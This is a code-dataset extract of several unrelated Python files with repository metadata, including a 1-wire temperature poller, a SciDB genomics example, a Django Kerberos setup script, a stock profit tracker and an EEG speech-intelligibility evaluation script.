parser.add_argument('--force-check',
action='store_true',
help='force refresh of data from mreg')
parser.add_argument('--ignore-size-change',
action='store_true',
help='ignore size changes')
args = parser.parse_args()
cfg = configparser.ConfigParser()
cfg.optionxform = str
cfg.read(args.config)
for i in ('default', 'mreg', 'ldif'):
if i not in cfg:
error(f"Missing section {i} in config file", os.EX_CONFIG)
if 'filename' not in cfg['default']:
error(f"Missing 'filename' in default section in config file", os.EX_CONFIG)
common.utils.cfg = cfg
logger = common.utils.getLogger()
conn = common.connection.Connection(cfg['mreg'])
hosts_ldif(args)
if __name__ == '__main__':
main()
| none | 1 | 2.207468 | 2 | |
gbe_browser/models-example.bk.py | whyrg/GlobalBiobankEngine | 0 | 6623617 | import scidbpy
import lookups
import utils
import numpy
db = scidbpy.connect()
gene_names = ['RUNX3'] # Set to None to get all genes
icds = ['HC49', 'HC382'] # Set to None to get all ICDs
# SciDB lookups
# ---
# return 1-dimension NumPy arrays
gene_variant = lookups.get_gene_variant(db, gene_names=gene_names, icds=icds)
variant_icd = lookups.get_variant_icd(db, gene_names=gene_names, icds=icds)
print(gene_variant)
print(variant_icd)
print(len(gene_variant))
print(len(variant_icd))
#print(variant_icd[numpy.where(variant_icd['pos'] == 25243960)])
print(variant_icd[(variant_icd['icd']['val'] == "HC382") & (variant_icd['chrom'] == 1) & (variant_icd['pos'] == 25243960)])
# List of attributes available in each array
# ---
# Some attributes will have `null` and `val` sub-attributes. `null`
# stores the SciDB null code, while `val` stores the actual value (if
# attribute is not null)
print(gene_variant.dtype)
print(variant_icd.dtype)
# vep_annotations processing
# ---
# Extract vep_annotations of the first gene result
gene_id = gene_variant[0]['gene_id']['val']
csq = gene_variant[0]['csq']['val']
rsid = gene_variant[0]['rsid']
print("RSID")
print(rsid)
print('CHROM',gene_variant[0]['chrom'])
vep_annotations = lookups.parse_vep_annotations(csq, gene_id=gene_id)
variant = {} # additional variant info
# Use exising utils function to populate extra variant info
utils.add_consequence_to_variant(variant, vep_annotations)
print(variant['category'])
print(variant['major_consequence'])
print(variant['HGVSp'])
| import scidbpy
import lookups
import utils
import numpy
db = scidbpy.connect()
gene_names = ['RUNX3'] # Set to None to get all genes
icds = ['HC49', 'HC382'] # Set to None to get all ICDs
# SciDB lookups
# ---
# return 1-dimension NumPy arrays
gene_variant = lookups.get_gene_variant(db, gene_names=gene_names, icds=icds)
variant_icd = lookups.get_variant_icd(db, gene_names=gene_names, icds=icds)
print(gene_variant)
print(variant_icd)
print(len(gene_variant))
print(len(variant_icd))
#print(variant_icd[numpy.where(variant_icd['pos'] == 25243960)])
print(variant_icd[(variant_icd['icd']['val'] == "HC382") & (variant_icd['chrom'] == 1) & (variant_icd['pos'] == 25243960)])
# List of attributes available in each array
# ---
# Some attributes will have `null` and `val` sub-attributes. `null`
# stores the SciDB null code, while `val` stores the actual value (if
# attribute is not null)
print(gene_variant.dtype)
print(variant_icd.dtype)
# vep_annotations processing
# ---
# Extract vep_annotations of the first gene result
gene_id = gene_variant[0]['gene_id']['val']
csq = gene_variant[0]['csq']['val']
rsid = gene_variant[0]['rsid']
print("RSID")
print(rsid)
print('CHROM',gene_variant[0]['chrom'])
vep_annotations = lookups.parse_vep_annotations(csq, gene_id=gene_id)
variant = {} # additional variant info
# Use exising utils function to populate extra variant info
utils.add_consequence_to_variant(variant, vep_annotations)
print(variant['category'])
print(variant['major_consequence'])
print(variant['HGVSp'])
| en | 0.620622 | # Set to None to get all genes # Set to None to get all ICDs # SciDB lookups # --- # return 1-dimension NumPy arrays #print(variant_icd[numpy.where(variant_icd['pos'] == 25243960)]) # List of attributes available in each array # --- # Some attributes will have `null` and `val` sub-attributes. `null` # stores the SciDB null code, while `val` stores the actual value (if # attribute is not null) # vep_annotations processing # --- # Extract vep_annotations of the first gene result # additional variant info # Use exising utils function to populate extra variant info | 2.671485 | 3 |
setup.py | 02strich/django-auth-kerberos | 18 | 6623618 | #!/usr/bin/env python
from setuptools import setup, find_packages
import sys
if sys.platform.startswith("win"):
pykerberos = 'kerberos-sspi>=0.2'
else:
pykerberos = 'pykerberos>=1.1.10'
setup(
name="django-auth-kerberos",
version="1.2.5",
description="Kerberos authentication backend for Django",
long_description="Kerberos authentication backend for Django",
url="https://github.com/02strich/django-auth-kerberos",
author="<NAME>",
author_email="<EMAIL>",
license="MIT",
classifiers=[
"Development Status :: 5 - Production/Stable",
"Environment :: Web Environment",
"Programming Language :: Python",
"Programming Language :: Python :: 2",
"Framework :: Django",
"Intended Audience :: Developers",
"Intended Audience :: System Administrators",
"License :: OSI Approved :: MIT License",
"Topic :: Internet :: WWW/HTTP",
"Topic :: Software Development :: Libraries :: Python Modules",
],
keywords=["django", "kerberos", "authentication", "auth"],
packages=find_packages(exclude='tests'),
install_requires=[
'Django>=1.6',
pykerberos,
],
)
| #!/usr/bin/env python
from setuptools import setup, find_packages
import sys
if sys.platform.startswith("win"):
pykerberos = 'kerberos-sspi>=0.2'
else:
pykerberos = 'pykerberos>=1.1.10'
setup(
name="django-auth-kerberos",
version="1.2.5",
description="Kerberos authentication backend for Django",
long_description="Kerberos authentication backend for Django",
url="https://github.com/02strich/django-auth-kerberos",
author="<NAME>",
author_email="<EMAIL>",
license="MIT",
classifiers=[
"Development Status :: 5 - Production/Stable",
"Environment :: Web Environment",
"Programming Language :: Python",
"Programming Language :: Python :: 2",
"Framework :: Django",
"Intended Audience :: Developers",
"Intended Audience :: System Administrators",
"License :: OSI Approved :: MIT License",
"Topic :: Internet :: WWW/HTTP",
"Topic :: Software Development :: Libraries :: Python Modules",
],
keywords=["django", "kerberos", "authentication", "auth"],
packages=find_packages(exclude='tests'),
install_requires=[
'Django>=1.6',
pykerberos,
],
)
| ru | 0.26433 | #!/usr/bin/env python | 1.410067 | 1 |
mode/examples/Basics/Math/Noise3D/Noise3D.pyde | timgates42/processing.py | 1,224 | 6623619 | <reponame>timgates42/processing.py
"""
Noise3D.
Using 3D noise to create simple animated texture.
Here, the third dimension ('z') is treated as time.
"""
increment = 0.01
# The noise function's 3rd argument, a global variable that increments
# once per cycle
zoff = 0.0
# We will increment zoff differently than xoff and yoff
zincrement = 0.02
def setup():
size(640, 360)
frameRate(30)
def draw():
global zoff
# Optional: adjust noise detail here
# noiseDetail(8,0.65f)
loadPixels()
xoff = 0.0 # Start xoff at 0
# For every x,y coordinate in a 2D space, calculate a noise value and
# produce a brightness value
for x in xrange(width):
xoff += increment # Increment xoff
yoff = 0.0 # For every xoff, start yoff at 0
for y in xrange(height):
yoff += increment # Increment yoff
# Calculate noise and scale by 255
bright = noise(xoff, yoff, zoff) * 255
# Try using this line instead
# float bright = random(0,255)
# Set each pixel onscreen to a grayscale value
pixels[x + y * width] = color(bright, bright, bright)
updatePixels()
zoff += zincrement # Increment zoff
| """
Noise3D.
Using 3D noise to create simple animated texture.
Here, the third dimension ('z') is treated as time.
"""
increment = 0.01
# The noise function's 3rd argument, a global variable that increments
# once per cycle
zoff = 0.0
# We will increment zoff differently than xoff and yoff
zincrement = 0.02
def setup():
size(640, 360)
frameRate(30)
def draw():
global zoff
# Optional: adjust noise detail here
# noiseDetail(8,0.65f)
loadPixels()
xoff = 0.0 # Start xoff at 0
# For every x,y coordinate in a 2D space, calculate a noise value and
# produce a brightness value
for x in xrange(width):
xoff += increment # Increment xoff
yoff = 0.0 # For every xoff, start yoff at 0
for y in xrange(height):
yoff += increment # Increment yoff
# Calculate noise and scale by 255
bright = noise(xoff, yoff, zoff) * 255
# Try using this line instead
# float bright = random(0,255)
# Set each pixel onscreen to a grayscale value
pixels[x + y * width] = color(bright, bright, bright)
updatePixels()
zoff += zincrement # Increment zoff | en | 0.751031 | Noise3D. Using 3D noise to create simple animated texture. Here, the third dimension ('z') is treated as time. # The noise function's 3rd argument, a global variable that increments # once per cycle # We will increment zoff differently than xoff and yoff # Optional: adjust noise detail here # noiseDetail(8,0.65f) # Start xoff at 0 # For every x,y coordinate in a 2D space, calculate a noise value and # produce a brightness value # Increment xoff # For every xoff, start yoff at 0 # Increment yoff # Calculate noise and scale by 255 # Try using this line instead # float bright = random(0,255) # Set each pixel onscreen to a grayscale value # Increment zoff | 3.868169 | 4 |
pollers/poll-w1.py | JeffreyPowell/pi-van-mon | 0 | 6623620 | #!/usr/bin/python
import time
import datetime
import os
import yaml
config = yaml.safe_load(open("/home/pi/bin/van/config.yaml"))
#print( config )
for device in config['devices']['w1']:
#print( device )
add = str(config['devices']['w1'][device]['add'])
try:
x=1
except:
pass
# Open the file that we viewed earlier so that python can see what is in it. Replace the serial number as before.
tfile = open("/sys/bus/w1/devices/"+add+"/w1_slave")
# Read all of the text in the file.
text = tfile.read()
# Close the file now that the text has been read.
tfile.close()
# Split the text with new lines (\n) and select the second line.
secondline = text.split("\n")[1]
# Split the line into words, referring to the spaces, and select the 10th word (counting from 0).
temperaturedata = secondline.split(" ")[9]
# The first two characters are "t=", so get rid of those and convert the temperature from a string to a number.
temperature = float(temperaturedata[2:])
# Put the decimal point in the right place and display it.
temperature = temperature / 1000
t = datetime.datetime.now().strftime('%s')
factor = float(config['devices']['w1'][device]['factor'])
offset = float(config['devices']['w1'][device]['offset'])
#print( factor, offset )
data = str( ( temperature + offset ) * factor )
filename = '/home/pi/bin/van/data/w1-'+str(add)+'-0.rrd'
#print filename
if( not os.path.exists( filename ) ):
#print ( os.path.exists( filename ))
os.system('/usr/bin/rrdtool create '+filename+' --step 60 \
--start now \
DS:data:GAUGE:120:U:U \
RRA:MIN:0.5:1:10080 \
RRA:MIN:0.5:5:51840 \
RRA:MIN:0.5:60:8760 \
RRA:AVERAGE:0.5:1:10080 \
RRA:AVERAGE:0.5:5:51840 \
RRA:AVERAGE:0.5:60:8760 \
RRA:MAX:0.5:1:10080 \
RRA:MAX:0.5:5:51840 \
RRA:MAX:0.5:60:8760')
os.system('/usr/bin/rrdtool update '+filename+" "+str(t)+':'+data)
#except:
#pass
| #!/usr/bin/python
import time
import datetime
import os
import yaml
config = yaml.safe_load(open("/home/pi/bin/van/config.yaml"))
#print( config )
for device in config['devices']['w1']:
#print( device )
add = str(config['devices']['w1'][device]['add'])
try:
x=1
except:
pass
# Open the file that we viewed earlier so that python can see what is in it. Replace the serial number as before.
tfile = open("/sys/bus/w1/devices/"+add+"/w1_slave")
# Read all of the text in the file.
text = tfile.read()
# Close the file now that the text has been read.
tfile.close()
# Split the text with new lines (\n) and select the second line.
secondline = text.split("\n")[1]
# Split the line into words, referring to the spaces, and select the 10th word (counting from 0).
temperaturedata = secondline.split(" ")[9]
# The first two characters are "t=", so get rid of those and convert the temperature from a string to a number.
temperature = float(temperaturedata[2:])
# Put the decimal point in the right place and display it.
temperature = temperature / 1000
t = datetime.datetime.now().strftime('%s')
factor = float(config['devices']['w1'][device]['factor'])
offset = float(config['devices']['w1'][device]['offset'])
#print( factor, offset )
data = str( ( temperature + offset ) * factor )
filename = '/home/pi/bin/van/data/w1-'+str(add)+'-0.rrd'
#print filename
if( not os.path.exists( filename ) ):
#print ( os.path.exists( filename ))
os.system('/usr/bin/rrdtool create '+filename+' --step 60 \
--start now \
DS:data:GAUGE:120:U:U \
RRA:MIN:0.5:1:10080 \
RRA:MIN:0.5:5:51840 \
RRA:MIN:0.5:60:8760 \
RRA:AVERAGE:0.5:1:10080 \
RRA:AVERAGE:0.5:5:51840 \
RRA:AVERAGE:0.5:60:8760 \
RRA:MAX:0.5:1:10080 \
RRA:MAX:0.5:5:51840 \
RRA:MAX:0.5:60:8760')
os.system('/usr/bin/rrdtool update '+filename+" "+str(t)+':'+data)
#except:
#pass
| en | 0.885981 | #!/usr/bin/python #print( config ) #print( device ) # Open the file that we viewed earlier so that python can see what is in it. Replace the serial number as before. # Read all of the text in the file. # Close the file now that the text has been read. # Split the text with new lines (\n) and select the second line. # Split the line into words, referring to the spaces, and select the 10th word (counting from 0). # The first two characters are "t=", so get rid of those and convert the temperature from a string to a number. # Put the decimal point in the right place and display it. #print( factor, offset ) #print filename #print ( os.path.exists( filename )) #except: #pass | 3.01116 | 3 |
evaluators/dialog/__init__.py | kaniblu/vhda | 3 | 6623621 | __all__ = ["BLEUEvaluator", "DistinctEvaluator", "SentLengthEvaluator",
"RougeEvaluator", "EmbeddingEvaluator", "DialogLengthEvaluator",
"WordEntropyEvaluator", "LanguageNoveltyEvaluator",
"StateEntropyEvaluator", "StateCountEvaluator",
"DistinctStateEvaluator", "StateNoveltyEvaluator"]
from .language import *
from .length import *
from .state import *
| __all__ = ["BLEUEvaluator", "DistinctEvaluator", "SentLengthEvaluator",
"RougeEvaluator", "EmbeddingEvaluator", "DialogLengthEvaluator",
"WordEntropyEvaluator", "LanguageNoveltyEvaluator",
"StateEntropyEvaluator", "StateCountEvaluator",
"DistinctStateEvaluator", "StateNoveltyEvaluator"]
from .language import *
from .length import *
from .state import *
| none | 1 | 1.175738 | 1 | |
Exercises of Python courses World1-2 and 3/ex039 - Alistamento Militar.py | RafaFurla/Python-Exercises | 1 | 6623622 | <reponame>RafaFurla/Python-Exercises<gh_stars>1-10
from datetime import date
d = int(input('In what day did you birth? '))
m = int(input('In what month did you birth? '))
y = int(input('In what year did you birth? '))
td = date.today().day
tm = date.today().month
ty = date.today().year
if ty < y+18:
difm = (12 - tm + m) / 12
dif = (y+18-1-ty+difm) // 1
print(dif)
print('Você ainda terá que se alistar no serviço militar! Falta(m) ', dif, ' ano(s) e {:.1f} mes(es)'
.format((difm - (difm // 1)) * 12))
if ty > y+18:
difm = (12 - m + tm) / 12
dif = ((ty-1)-(y+18)+difm) // 1
print('Passaram-se ', dif, ' ano(s) e {:.1f} mes(es) do seu alistamento militar obrigatório!'
.format((difm - (difm // 1)) * 12))
if ty == y+18:
if tm < m:
difm = (m - tm)
print('Você ainda terá que se alistar no serviço militar! Faltam ', difm, ' mes(es)')
if tm > m:
difm = (tm - m)
print('Já se passou ', difm, ' mes(es) do seu tempo de alistamento!')
if tm == m:
if td < d:
print('Você ainda terá que se alistar no serviço militar! Faltam: ', d - td, 'dia(s)')
if td > d:
print('Já se passou ', td - d, ' dia(s) do seu tempo de alistamento!')
if td == d:
print('Hora de se alistar!')
| from datetime import date
d = int(input('In what day did you birth? '))
m = int(input('In what month did you birth? '))
y = int(input('In what year did you birth? '))
td = date.today().day
tm = date.today().month
ty = date.today().year
if ty < y+18:
difm = (12 - tm + m) / 12
dif = (y+18-1-ty+difm) // 1
print(dif)
print('Você ainda terá que se alistar no serviço militar! Falta(m) ', dif, ' ano(s) e {:.1f} mes(es)'
.format((difm - (difm // 1)) * 12))
if ty > y+18:
difm = (12 - m + tm) / 12
dif = ((ty-1)-(y+18)+difm) // 1
print('Passaram-se ', dif, ' ano(s) e {:.1f} mes(es) do seu alistamento militar obrigatório!'
.format((difm - (difm // 1)) * 12))
if ty == y+18:
if tm < m:
difm = (m - tm)
print('Você ainda terá que se alistar no serviço militar! Faltam ', difm, ' mes(es)')
if tm > m:
difm = (tm - m)
print('Já se passou ', difm, ' mes(es) do seu tempo de alistamento!')
if tm == m:
if td < d:
print('Você ainda terá que se alistar no serviço militar! Faltam: ', d - td, 'dia(s)')
if td > d:
print('Já se passou ', td - d, ' dia(s) do seu tempo de alistamento!')
if td == d:
print('Hora de se alistar!') | none | 1 | 3.908863 | 4 | |
win_or_lost_each_day.py | hvnobug/stock | 3,401 | 6623623 | <reponame>hvnobug/stock
# -*-coding=utf-8-*-
__author__ = 'Rocky'
'''
http://30daydo.com
Contact: <EMAIL>
'''
'''
记录每天的盈亏情况 完成度100%
'''
import pandas as pd
import os
import tushare as ts
import datetime
def getCodeFromExcel(filename):
#从excel表中获取代码, 并且补充前面几位000
#获取股票数目
df=pd.read_excel(filename)
code_list = df['证券代码'].values
quantity_list=df['股票余额'].values
code=[]
quantity=[]
for i in range(len(code_list)):
code.append(str(code_list[i]).zfill(6))
#后面学会了map函数，可以直接搞定
quantity.append(quantity_list[i])
return code,quantity
def calc(code):
settlement = df[df['code']==code]['settlement'].values
percentage = df[df['code']==code]['changepercent'].values
trade = df[df['code']==code]['trade'].values
#print(percentage)
#settlement=df[df['code'==code]]['settlement'].values
#percentage=df[df['code'==code].index]['changepercent'].values
#返回四舍五入的结果
return settlement,percentage,trade
def today_win_lost(filename_path):
filename=os.path.join(filename_path,'ownstock.xls')
code,quantity=getCodeFromExcel(filename)
result=[]
percentage_list=[]
trade_list=[]
for i in range(len(code)):
settlement,percentage,trade=calc(code[i])
print("settlement", settlement)
print("percent", percentage)
print("trade", trade)
profit=round(settlement[0]*percentage[0]*quantity[i]*0.01,1)
result.append(profit)
percentage_list.append(percentage[0])
trade_list.append(trade[0])
return result,code,percentage_list,trade_list
def join_dataframe(filename,today):
current_profile=today+'当天贡献'
result,code,percentage_list,trade_list=today_win_lost()
s1=pd.DataFrame({current_profile:result})
#s2=pd.DataFrame({'当天涨幅':percentage_list})
#s3=pd.DataFrame({'当天价钱':trade_list})
#print(s)
df=pd.read_excel(filename)
#del df['交易市场']
#del df['股东帐户']
#del df['盈亏比(%)']
#del df['在途数量']
#del df['当天贡献']
#del df['']
#del df['']
df['证券代码']=code
#print(code)
df['市价']=trade_list
df['当天涨幅']=percentage_list
#可以这样直接替换某一列的值
#df=df.join(s2,how='right')
df=df.join(s1,how='right')
#df=df.join(s3,how='right')
return df
def main(today):
path=os.path.join(os.path.dirname(__file__),'data')
filename=os.path.join(path,'each_day_profile.xls')
org_filename=os.path.join(path,'2016-09-30_all_.xls')
#df_filename=os.path.join(path,'each_day_profile.xls')
#df=pd.read_excel(org_filename)
df=ts.get_today_all()
new_df=join_dataframe(filename,today)
save_name=os.path.join(path,"each_day_profile.xls")
#这样会不会把原来的覆盖掉？
new_df.to_excel(save_name)
if __name__ == "__main__":
today=datetime.datetime.now().strftime("%Y-%m-%d")
if not ts.is_holiday(today):
main(today) | # -*-coding=utf-8-*-
__author__ = 'Rocky'
'''
http://30daydo.com
Contact: <EMAIL>
'''
'''
记录每天的盈亏情况 完成度100%
'''
import pandas as pd
import os
import tushare as ts
import datetime
def getCodeFromExcel(filename):
#从excel表中获取代码, 并且补充前面几位000
#获取股票数目
df=pd.read_excel(filename)
code_list = df['证券代码'].values
quantity_list=df['股票余额'].values
code=[]
quantity=[]
for i in range(len(code_list)):
code.append(str(code_list[i]).zfill(6))
#后面学会了map函数，可以直接搞定
quantity.append(quantity_list[i])
return code,quantity
def calc(code):
settlement = df[df['code']==code]['settlement'].values
percentage = df[df['code']==code]['changepercent'].values
trade = df[df['code']==code]['trade'].values
#print(percentage)
#settlement=df[df['code'==code]]['settlement'].values
#percentage=df[df['code'==code].index]['changepercent'].values
#返回四舍五入的结果
return settlement,percentage,trade
def today_win_lost(filename_path):
filename=os.path.join(filename_path,'ownstock.xls')
code,quantity=getCodeFromExcel(filename)
result=[]
percentage_list=[]
trade_list=[]
for i in range(len(code)):
settlement,percentage,trade=calc(code[i])
print("settlement", settlement)
print("percent", percentage)
print("trade", trade)
profit=round(settlement[0]*percentage[0]*quantity[i]*0.01,1)
result.append(profit)
percentage_list.append(percentage[0])
trade_list.append(trade[0])
return result,code,percentage_list,trade_list
def join_dataframe(filename,today):
current_profile=today+'当天贡献'
result,code,percentage_list,trade_list=today_win_lost()
s1=pd.DataFrame({current_profile:result})
#s2=pd.DataFrame({'当天涨幅':percentage_list})
#s3=pd.DataFrame({'当天价钱':trade_list})
#print(s)
df=pd.read_excel(filename)
#del df['交易市场']
#del df['股东帐户']
#del df['盈亏比(%)']
#del df['在途数量']
#del df['当天贡献']
#del df['']
#del df['']
df['证券代码']=code
#print(code)
df['市价']=trade_list
df['当天涨幅']=percentage_list
#可以这样直接替换某一列的值
#df=df.join(s2,how='right')
df=df.join(s1,how='right')
#df=df.join(s3,how='right')
return df
def main(today):
path=os.path.join(os.path.dirname(__file__),'data')
filename=os.path.join(path,'each_day_profile.xls')
org_filename=os.path.join(path,'2016-09-30_all_.xls')
#df_filename=os.path.join(path,'each_day_profile.xls')
#df=pd.read_excel(org_filename)
df=ts.get_today_all()
new_df=join_dataframe(filename,today)
save_name=os.path.join(path,"each_day_profile.xls")
#这样会不会把原来的覆盖掉？
new_df.to_excel(save_name)
if __name__ == "__main__":
today=datetime.datetime.now().strftime("%Y-%m-%d")
if not ts.is_holiday(today):
main(today) | zh | 0.270093 | # -*-coding=utf-8-*- http://30daydo.com Contact: <EMAIL> 记录每天的盈亏情况 完成度100% #从excel表中获取代码, 并且补充前面几位000 #获取股票数目 #后面学会了map函数，可以直接搞定 #print(percentage) #settlement=df[df['code'==code]]['settlement'].values #percentage=df[df['code'==code].index]['changepercent'].values #返回四舍五入的结果 #s2=pd.DataFrame({'当天涨幅':percentage_list}) #s3=pd.DataFrame({'当天价钱':trade_list}) #print(s) #del df['交易市场'] #del df['股东帐户'] #del df['盈亏比(%)'] #del df['在途数量'] #del df['当天贡献'] #del df[''] #del df[''] #print(code) #可以这样直接替换某一列的值 #df=df.join(s2,how='right') #df=df.join(s3,how='right') #df_filename=os.path.join(path,'each_day_profile.xls') #df=pd.read_excel(org_filename) #这样会不会把原来的覆盖掉？ | 3.036712 | 3 |
AutoExamSys/SystemModel/UsersClass/teacher.py | Yb-Z/COMP2411_GP | 0 | 6623624 | #!/usr/bin/env python
# -*- coding: UTF-8 -*-
import pandas as pd
'''
Functions
1. Get personal info.
...
TODO
'''
class Teacher(object):
def __init__(self, config):
self.id;
| #!/usr/bin/env python
# -*- coding: UTF-8 -*-
import pandas as pd
'''
Functions
1. Get personal info.
...
TODO
'''
class Teacher(object):
def __init__(self, config):
self.id;
| en | 0.253096 | #!/usr/bin/env python # -*- coding: UTF-8 -*- Functions 1. Get personal info. ... TODO | 2.645635 | 3 |
control_limits/__init__.py | papelero/control-limit-search | 0 | 6623625 | from .src import ControlLimits, plot_control_limits
| from .src import ControlLimits, plot_control_limits
| none | 1 | 1.032779 | 1 | |
tools/LoadAndFindIntelligibility.py | MaryamHoss/BESD | 0 | 6623626 | <reponame>MaryamHoss/BESD
# this will load noisy, clean and different predictions
import os, sys
import h5py as hp
import matplotlib.pyplot as plt
sys.path.append('../')
import tensorflow as tf
import numpy as np
sound_len = 87552 # 218880
from TrialsOfNeuralVocalRecon.tools.calculate_intelligibility import find_intel
from TrialsOfNeuralVocalRecon.tools.utils.losses import *
#load noisy file
#test_path= 'C:/Users/hoss3301/work/TrialsOfNeuralVocalRecon/data/Cocktail_Party/Normalized/'
exp_folder='C:/Users/hoss3301/work/TrialsOfNeuralVocalRecon/experiments/CC/sisdr/with my changes/3-both speakers\Linear/'#'Linear/'
#test_path='D:/data/EEG processed data/luca way'
test_path='D:/data/EEG processed data/2_sec'
#exp_folder='C:/Users/hoss3301/work/TrialsOfNeuralVocalRecon/experiments/CC/sisdr/with my changes/6/'
#exp_folder='C:/Users/hoss3301/work/TrialsOfNeuralVocalRecon/experiments/CC/sisdr/with my changes/9-luca data/2020-09-15/'
file=hp.File(test_path+'/noisy_test.h5','r')
snd=file['noisy_test'][:]
file.close()
snd=snd[:,0:sound_len,:]
snd=snd[:,::3,:]
file=hp.File(test_path+'/eegs_test.h5','r')
eeg=file['eegs_test'][:]
file.close()
#load clean sound
file=hp.File(test_path+'/clean_test.h5','r')
clean=file['clean_test'][:]
file.close()
clean=clean[:,0:sound_len,:]
clean=clean[:,::3,:]
#### do the prediction:
With_spike=exp_folder+'noSpike/trained_models/model_weights_noSpikes_pre' #model_weights_WithSpikes_predict.h5'
model=tf.keras.models.load_model(With_spike, custom_objects={'si_sdr_loss': si_sdr_loss})
prediction_withSpikes_film1=model.predict([snd,eeg])
np.save(exp_folder+'film1/prediction',prediction_withSpikes_film1)
#intel_matrix=np.zeros(shape=(833,4)) #0:pesq 1:stoi 2:estoi 3:si-sdr
#load prediction with spikes
exp_type='film1'
size=prediction_withSpikes_film1.shape[0]
intel_matrix_film1=np.zeros(shape=(size,4)) #0:pesq 1:stoi 2:estoi 3:si-sdr
prediction_withSpikes_film1=np.load(exp_folder+exp_type+'/prediction.npy')
intel_matrix_film1=np.load(exp_folder+exp_type+'/loss_matrix.npy')
for i in range(size):
print(i)
intel_matrix_film1[i,0]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_film1[i:i+1,:,:])
for i in range(size):
print(i)
intel_matrix_film1[i,1]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_film1[i:i+1,:,:],metric='stoi')
for i in range(size):
print(i)
intel_matrix_film1[i,2]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_film1[i:i+1,:,:],metric='estoi')
for i in range(size):
print(i)
intel_matrix_film1[i,3]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_film1[i:i+1,:,:],metric='si-sdr')
# for i in range(size):
# print(i)
# c[i,0]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_film1[i:i+1,:,:],metric='stsa-mse')
np.save(exp_folder+'film1/loss_matrix',intel_matrix_film1)
#load prediction with spikes
exp_type='film2'
size=prediction_withSpikes_film2.shape[0]
intel_matrix_film2=np.zeros(shape=(size,4)) #0:pesq 1:stoi 2:estoi 3:si-sdr
prediction_withSpikes_film2=np.load(exp_folder+exp_type+'/prediction.npy')
intel_matrix_film2=np.load(exp_folder+exp_type+'/loss_matrix.npy')
for i in range(size):
print(i)
intel_matrix_film2[i,0]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_film2[i:i+1,:,:])
for i in range(size):
print(i)
intel_matrix_film2[i,1]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_film2[i:i+1,:,:],metric='stoi')
for i in range(size):
print(i)
intel_matrix_film2[i,2]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_film2[i:i+1,:,:],metric='estoi')
for i in range(size):
print(i)
intel_matrix_film2[i,3]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_film2[i:i+1,:,:],metric='si-sdr')
# for i in range(size):
# print(i)
# c[i,0]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_film2[i:i+1,:,:],metric='stsa-mse')
np.save(exp_folder+'film2/loss_matrix',intel_matrix_film2)
#load prediction with spikes
exp_type='film3'
size=prediction_withSpikes_film3.shape[0]
intel_matrix_film3=np.zeros(shape=(size,4)) #0:pesq 1:stoi 2:estoi 3:si-sdr
prediction_withSpikes_film3=np.load(exp_folder+exp_type+'/prediction.npy')
intel_matrix_film3=np.load(exp_folder+exp_type+'/loss_matrix.npy')
for i in range(size):
print(i)
intel_matrix_film3[i,0]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_film3[i:i+1,:,:])
for i in range(size):
print(i)
intel_matrix_film3[i,1]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_film3[i:i+1,:,:],metric='stoi')
for i in range(size):
print(i)
intel_matrix_film3[i,2]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_film3[i:i+1,:,:],metric='estoi')
for i in range(size):
print(i)
intel_matrix_film3[i,3]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_film3[i:i+1,:,:],metric='si-sdr')
np.save(exp_folder+'film3/loss_matrix',intel_matrix_film3)
#load prediction with spikes
exp_type='film4'
size=prediction_withSpikes_film4.shape[0]
intel_matrix_film4=np.zeros(shape=(size,4)) #0:pesq 1:stoi 2:estoi 3:si-sdr
prediction_withSpikes_film4=np.load(exp_folder+exp_type+'/prediction.npy')
intel_matrix_film4=np.load(exp_folder+exp_type+'/loss_matrix.npy')
for i in range(size):
print(i)
intel_matrix_film4[i,0]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_film4[i:i+1,:,:])
for i in range(size):
print(i)
intel_matrix_film4[i,1]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_film4[i:i+1,:,:],metric='stoi')
for i in range(size):
print(i)
intel_matrix_film4[i,2]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_film4[i:i+1,:,:],metric='estoi')
for i in range(size):
print(i)
intel_matrix_film4[i,3]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_film4[i:i+1,:,:],metric='si-sdr')
np.save(exp_folder+'film4/loss_matrix',intel_matrix_film4)
#load prediction with spikes
exp_type='add'
intel_matrix_add=np.zeros(shape=(833,4)) #0:pesq 1:stoi 2:estoi 3:si-sdr
prediction_withSpikes_add=np.load(exp_folder+exp_type+'/prediction.npy')
intel_matrix_add=np.load(exp_folder+exp_type+'/loss_matrix.npy')
for i in range(833):
print(i)
intel_matrix_add[i,0]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_add[i:i+1,:,:])
for i in range(833):
print(i)
intel_matrix_add[i,1]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_add[i:i+1,:,:],metric='stoi')
for i in range(833):
print(i)
intel_matrix_add[i,2]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_add[i:i+1,:,:],metric='estoi')
for i in range(833):
print(i)
intel_matrix_add[i,3]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_add[i:i+1,:,:],metric='si-sdr')
#load prediction with spikes
exp_type='choice'
intel_matrix_choice=np.zeros(shape=(833,4)) #0:pesq 1:stoi 2:estoi 3:si-sdr
prediction_withSpikes_choice=np.load(exp_folder+exp_type+'/prediction.npy')
intel_matrix_choice=np.load(exp_folder+exp_type+'/loss_matrix.npy')
for i in range(833):
print(i)
intel_matrix_choice[i,0]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_choice[i:i+1,:,:])
for i in range(833):
print(i)
intel_matrix_choice[i,1]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_choice[i:i+1,:,:],metric='stoi')
for i in range(833):
print(i)
intel_matrix_choice[i,2]=find_intel(clean[i:i+1,:,:],prediction_withSpikes_choice[i:i+1,:,:],metric='estoi')
for i in range(833):
print(i)
